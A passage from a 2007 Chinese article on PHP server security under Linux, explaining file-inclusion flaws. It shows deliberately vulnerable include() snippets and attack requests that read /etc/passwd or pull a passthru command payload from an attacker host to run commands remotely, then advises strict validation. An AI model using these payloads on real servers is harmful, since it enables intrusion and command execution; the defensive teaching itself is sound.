Linux操作系统下PHP服务器安全配置技巧

http://tech.ddvip.com   2007年08月24日    社区交流

内容摘要:Linux操作系统下PHP服务器安全配置技巧

  Warning: open_basedir restriction in effect. File is in wrong directory in xxx on line xx.

  使用safe_mode模式也能避免这种问题,前面已经讨论过了。

  4、包含文件

  极易受攻击的代码片断:

<?
//test_3.php
if(file_exists($filename))
  include("$filename");
?>

  这种不负责任的代码会造成相当大的危害,攻击者用如下请求可以得到/etc/passwd文件:

  http://victim/test_3.php?filename=/etc/passwd

  如果对于Unix版的PHP(Win版的PHP不支持远程打开文件)攻击者可以在自己开了http或ftp服务的机器上建立一个包含shell命令的文件,如http://attack/attack.txt的内容是:

<?passthru("ls /etc")?>

  那么如下的请求就可以在目标主机执行命令ls /etc:

  http://victim/test_3.php?filename=http://attack/attack.txt

  攻击者甚至可以通过包含apache的日志文件access.log和error.log来得到执行命令的代码,不过由于干扰信息太多,有时不易成功。

  对于另外一种形式,如下代码片断:

<?
//test_4.php
include("$lib/config.php");
?>

  攻击者可以在自己的主机建立一个包含执行命令代码的config.php文件,然后用如下请求也可以在目标主机执行命令:

  http://victim/test_4.php?lib=http://attack

  PHP的包含函数有include(), include_once(), require(), require_once。如果对包含文件名变量检查不严就会对系统造成严重危险,可以远程执行命令。

  解决方法:

  要求程序员包含文件里的参数尽量不要使用变量,如果使用变量,就一定要严格检查要包含的文件名,绝对不能由用户任意指定。

责编:豆豆技术应用

正在加载评论...